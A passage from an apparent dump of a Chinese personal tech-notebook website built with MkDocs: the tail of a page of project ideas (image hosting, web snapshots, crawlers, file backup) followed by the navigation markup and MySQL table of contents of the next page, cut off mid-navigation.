是否容易（登录验证码），请求频率限制</p>\n<p>不止于图片：是否压缩图片，是否可以上传非图片二进制，单个文件最大大小</p>\n<p>安全：是否支持删除，传输 https，访问 https</p>\n<p>misc：生成 url 长度，是否限制国外访问，cdn 节点广度，是否被墙</p>\n<hr />\n<h1 id=\"deny404\">Deny404<a class=\"headerlink\" href=\"#deny404\" title=\"Permanent link\">&para;</a></h1>\n<p>360极速浏览器曾经有的网页快照功能，能不能用Chrome扩展实现</p>\n<p>要求在不引用任何外部资源的情况下展示出和原网页基本相同的效果</p>\n<p>生成文件尽量少，能push到github</p>\n<p>另外也需要全文检索</p>\n<p>入手：考虑复制网页文本+cutycapt保存图片</p>\n<p>目前的实现：印象笔记/Evernote的剪藏插件，然后用api导出 参见<a href=\"https://github.com/zjuchenyuan/evernote2ipfs\">evernote2ipfs</a></p>\n<hr />\n<h1 id=\"easycrawler\">EasyCrawler<a class=\"headerlink\" href=\"#easycrawler\" title=\"Permanent link\">&para;</a></h1>\n<p>给出两三个网页url，自动diff分析网页内容所在的tag，得出从url→内容的算法</p>\n<p>甚至给出网站域名直接爬取全站并提取内容到数据库以便压缩存储</p>\n<p>入手：也许需要了解lxml</p>\n<hr />\n<h1 id=\"waf\">WAF<a class=\"headerlink\" href=\"#waf\" title=\"Permanent link\">&para;</a></h1>\n<p>开源的WAF? </p>\n<hr />\n<h1 id=\"_3\">文件整理<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h1>\n<p>有了Everything找文件方便了一点</p>\n<p>windows下有没有对文件进行标记关键词、机密等级的explorer的扩展呢。。。</p>\n<p>机密文件要自动加密，需要google authenticator两步验证解密</p>\n<p>重要文件需要自动异地备份，并提醒使用移动硬盘离线备份+插入硬盘后自动备份需要备份的东西</p>\n<p>有没有Explorer右键扩展对文件进行标记tag的工具？</p>\n<p>标记为重要的文件自动采用多种存储方案进行备份+版本控制，支持自己外接硬盘（提醒）、上传到包括但不限于：</p>\n<ul>\n<li>不可靠：自己的硬盘、百度网盘</li>\n<li>免费的云盘服务：天翼云盘、坚果云、亿方云、奶牛快传、浙大云盘</li>\n<li>自建的云上存储：自己服务器(Seafile)、Google Drive、OneDrive</li>\n<li>商业化的对象存储：阿里OSS、腾讯云COS、又拍云、七牛、AWS S3、百度云</li>\n<li>也能存但不适合：邮件附件、Github、印象笔记</li>\n</ul>\n<p>备份的同时要支持文件加密存储</p>\n<p>标记为工作文件要支持手机端访问</p>\n<p>用户只要鼠标右键点一点，后台自动处理加密、传输的问题，并考虑单一服务不再可用的风险</p>\n<p>嗯。。。既要经济又要可靠似乎很麻烦23333？</p>\n<hr />\n<h1 id=\"_4\">一站式获取所有我应该知道的信息<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h1>\n<p>也许就是如何推送到日历吧。。。win10有没有可编程的桌面小部件呢。。。</p>\n<p>有没有一个屏幕直接显示我所管理的所有服务器的状态的程序呢。。。</p>\n<p>也需要爬虫爬一下院网</p>\n<p>重要的提醒发个邮件通知自己</p>\n<hr />\n<h1 id=\"apifinished\">基于浙大云盘做出上传分享API[Finished]<a class=\"headerlink\" href=\"#apifinished\" title=\"Permanent link\">&para;</a></h1>\n<p>本idea已经实现：https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/fangcloud</p>\n<p>每个人2T的存储空间怎么能错过。。。</p>\n<p>不过亿方云还没有给浙大云盘搞客户端，上传有点烦</p>\n<p>研究一下如何从team.zju.edu.cn开始登录上传分享下载一条龙的API实现</p>\n<hr />\n<h1 id=\"upyun-https-finished\">upyun https 证书更新[Finished]<a class=\"headerlink\" href=\"#upyun-https-finished\" title=\"Permanent link\">&para;</a></h1>\n<p>自动化更新证书 避免手动复制粘贴</p>\n<p>https://github.com/zjuchenyuan/EasyLogin/blob/master/examples/upyun/upyun.py</p>\n<hr />\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/MySQL/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Flask/\">\n      \n      \n        <link rel=\"next\" href=\"../Nginx/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>MySQL - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#_1\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              MySQL\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          MySQL\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        MySQL\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    查看表结构\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"查看表结构\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#sql\" class=\"md-nav__link\">\n    查看建表sql语句\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#merge\" class=\"md-nav__link\">\n    MERGE存储引擎\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#merge_1\" class=\"md-nav__link\">\n    创建一个MERGE表：\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    删除表的冗余\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#alter-table\" class=\"md-nav__link\">\n    修改表 alter table\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    将中文转为拼音 函数\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#url\" class=\"md-nav__link\">\n    从路径URL获取文件名称\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    查询优化\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"查询优化\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#explainusing-filesort\" class=\"md-nav__link\">\n    explain发现出现了using filesort\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    内存表索引的选择\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#the-table-is-full\" class=\"md-nav__link\">\n    内存表The table is full\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#replace\" class=\"md-nav__link\">\n    replace函数替换文本\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#split\" class=\"md-nav__link\">\n    简单的split功能，文本转数字\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mysqld\" class=\"md-nav__link\">\n    mysqld配置参数调优\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#emojiutf8utf8mb4\" class=\"md-nav__link\">\n    支持emoji，从utf8升级到utf8mb4\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"支持emoji，从utf8升级到utf8mb4\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#charvarchartextutf8mb4\" class=\"md-nav__link\">\n    表的变更 表的每一个CHAR，VARCHAR和TEXT类型的列都要改为使用utf8mb4\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    连接代码的改动\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#too-many-open-files\" class=\"md-nav__link\">\n    解决 Too many open files 错误\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ubuntu1604mysqlapt-upgrade\" class=\"md-nav__link\">\n    解决ubuntu16.04上mysql被apt upgrade自动关闭的问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#null0\" class=\"md-nav__link\">\n    NULL转0\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mysqlslave\" class=\"md-nav__link\">\n    给MySQL增加一个slave做主从复制\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"给MySQL增加一个slave做主从复制\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#master\" class=\"md-nav__link\">\n    master创建用户\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#masterbinlog\" class=\"md-nav__link\">\n    master启用binlog\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    搬运数据库\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#slave\" class=\"md-nav__link\">\n    配置slave\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#docker\" class=\"md-nav__link\">\n    Docker镜像\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mysql\" class=\"md-nav__link\">\n    为什么MySQL表必须要有主键\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a 